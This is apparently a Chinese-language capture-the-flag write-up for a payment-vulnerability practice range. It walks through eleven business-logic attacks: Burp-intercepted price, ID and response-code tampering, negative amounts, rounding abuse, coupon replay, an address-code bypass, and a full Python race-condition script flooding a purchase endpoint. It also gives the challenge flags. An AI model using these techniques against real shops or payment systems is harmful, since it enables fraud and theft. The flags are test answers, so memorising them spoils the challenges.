靶场地址:http://www.loveli.com.cn/findbug?keyword=%E6%94%AF%E4%BB%98%E6%BC%8F%E6%B4%9E
1.商城修改金额支付漏洞

进入后

将所有物品买一遍
burp抓包

price全部改成0就行
flag{dc9b1c1cc9c641aba9043590d79ea34e}
2.就是你在修改我商城的支付金额?


进入后叫买个蓝牙耳机

发现钱包只有99元
购买蓝牙耳机抓包

修改钱不行
但是可以看到这个Id,我们是不是可以修改商品id来进行购买
抓包查看其他商品id

把电竞鼠标id改成1就是我们蓝牙耳机的商品

flag{c992cec327844ce5b3c7ce0b6d8ca4e4}
3.购买物品场景

根据靶场描述就可以得到将商品金额改成负数

发现钱包没有钱
买个小米burp抓包

我吧这个钱改成负数试试

改成-1我的钱变成1.02了变多了
我直接改成-99999看看

出flag了
flag{b87b9a394a214237a7e201544667b2d9}
4.充值舍入漏洞

什么是充值舍入漏洞?
核心定义:
充值舍入漏洞是指,由于系统在处理金额(特别是小数)时,在计算逻辑、校验逻辑和实际扣款/入账逻辑之间存在不一致,尤其是对浮点数的处理(如四舍五入、向上取整、向下取整)规则不统一,导致用户可以用低于商品实际价值的金额,成功购买商品或获得服务。
简单来说,就是 “花小钱,办大事”,利用系统的计算错误,实现“薅羊毛”甚至非法牟利。
漏洞产生的根本原因
这个漏洞的产生通常源于以下几个技术和管理层面的问题:
- 浮点数精度问题:
- 计算机使用二进制表示浮点数(如
float,double),无法精确表示所有十进制小数(例如0.1在二进制中是无限循环的)。 - 当系统使用浮点数进行金额计算时,可能会产生极微小的误差。如果后续的舍入处理不当,就会放大这个误差。
- 计算机使用二进制表示浮点数(如
- 前后端/系统间逻辑不一致:
- 前端计算 vs 后端校验: 商品价格在前端显示为
10.01元,但前端JavaScript计算优惠或折后价时,可能得出9.999元。如果前端将这个9.999元发送给后端,而后端使用不同的舍入规则(比如四舍五入到分),就可能将其视为10.00元进行校验,但实际扣款时又按9.999元处理。 - 扣款系统 vs 账户系统: 支付网关根据请求扣除了
9.999元,但业务系统在给用户增加余额或道具时,却将9.999元四舍五入为10.00元入账。
- 前端计算 vs 后端校验: 商品价格在前端显示为
- 不当的舍入规则:
- 始终四舍五入: 这对商家和用户是不公平的,系统总会有一方蒙受微小损失,但在大量交易下,如果被利用,损失会放大。
- 舍入方向不统一: 在计算手续费、折扣、分摊金额时,有时采用“向上取整”,有时采用“向下取整”,而没有统一的、偏向系统安全的策略。
那么直接充值0.11111

flag{845d4616932f4ddea27a3e483522acd2}
5.优惠卷漏洞
burp抓包

发现没有flag
我直接在领取一次,因为只在前端认证限制没有在后端认证,我在重新领取重发数据包

flag{479df4c80aba49b79c161e2a253a71f1}
6.某SRC微信小程序购物地址的逻辑缺陷
地址绕过
正常添加新疆地区不给发货

那就绕过新疆地址
在添加地址进行burp抓包


把这个省码改成其他省份代码北京的省码:110000

添加成功

发现不给flag
然后发现是把新疆的650000这个代码加个.0就行了


然后就有flag了

flag{f37ce1633e0348febfc1de7c7f654a46}
7.你需要会员

有一个新人专享直接购买4个在我的订单支付

然后就出了

flag{73e35d5dece847fe9c843f2803177cf6}
8.哼哼,难不倒我

发现不可以重复购买了

并发常见场景
Limit-overrun / TOCTOU
漏洞出现在限制执行某个操作次数的地方。比如在网店多次使用相同的折扣代码
- 多次兑换礼品卡
- 多次对产品评分
- 超出账户余额提取或转账现金
- 重复使用单个验证码解决方案
- 绕过反暴力破解速率限制
发现用并发就行可以用 burpsuit Turbo 插件
直接用脚本
py3:
import requests
import threading
import time
# 目标URL
url = "http://ys7i4x9.haobachang.loveli.com.cn:8888/purchase"
# 请求头
headers = {
"Host": "ys7i4x9.haobachang.loveli.com.cn:8888",
"Content-Length": "13",
"X-Requested-With": "XMLHttpRequest",
"Accept-Language": "zh-CN,zh;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "*/*",
"Origin": "http://ys7i4x9.haobachang.loveli.com.cn:8888",
"Referer": "http://ys7i4x9.haobachang.loveli.com.cn:8888/",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
# POST数据
data = "activity_id=1"
def make_request(thread_id):
"""发送购买请求的函数"""
try:
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"线程 {thread_id} 响应状态码: {response.status_code}")
print(f"线程 {thread_id} 响应内容: {response.text}")
except Exception as e:
print(f"线程 {thread_id} 请求失败: {str(e)}")
def concurrent_attack(thread_count=50, requests_per_thread=10):
"""并发攻击函数"""
threads = []
# 创建并启动线程
for i in range(thread_count):
for j in range(requests_per_thread):
thread_id = i * requests_per_thread + j
thread = threading.Thread(target=make_request, args=(thread_id,))
threads.append(thread)
thread.start()
# 稍微延迟以避免瞬间过多请求
time.sleep(0.01)
# 等待所有线程完成
for thread in threads:
thread.join()
if __name__ == "__main__":
print("开始并发购买会员攻击...")
print("目标:获取超过80天会员时长")
# 设置并发参数
thread_count = 30 # 线程数
requests_per_thread = 5 # 每个线程的请求数
print(f"并发配置: {thread_count} 线程 × {requests_per_thread} 请求/线程 = {thread_count * requests_per_thread} 总请求")
# 执行并发攻击
concurrent_attack(thread_count, requests_per_thread)
print("攻击完成,请检查个人中心的会员时长")


成功

支付四个就行

flag{0293e0a409c744809d13a3c1fb9c1aa3}
9.多个客户端怎么都可以

根据题目名字多个客户端怎么都可以 原因是不同客户端提交的订单返回的cookie不一样
那就准备多少个浏览器访问购买


flag{5d5627301d99469cafb762727098f70a}
10.某门诊挂号系统存在签名复用
burp支付随便找一个医生预约

发现金额不够
支付看看响应包

响应包code发现是1如果改成0试试
拦截响应包
改成0

挂号成功了

flag{9e098720f827432da745c76b59777ee8}
11.某-旅游景点购物系统存在0元购

抓包看看

类型改成0


flag{953aff4303db4f5e8f2e08c942442dd4}
总结:
这些不算太难,里面也有是根据真实SRC漏洞复现的,这种支付漏洞是真实存在的,现在都有。








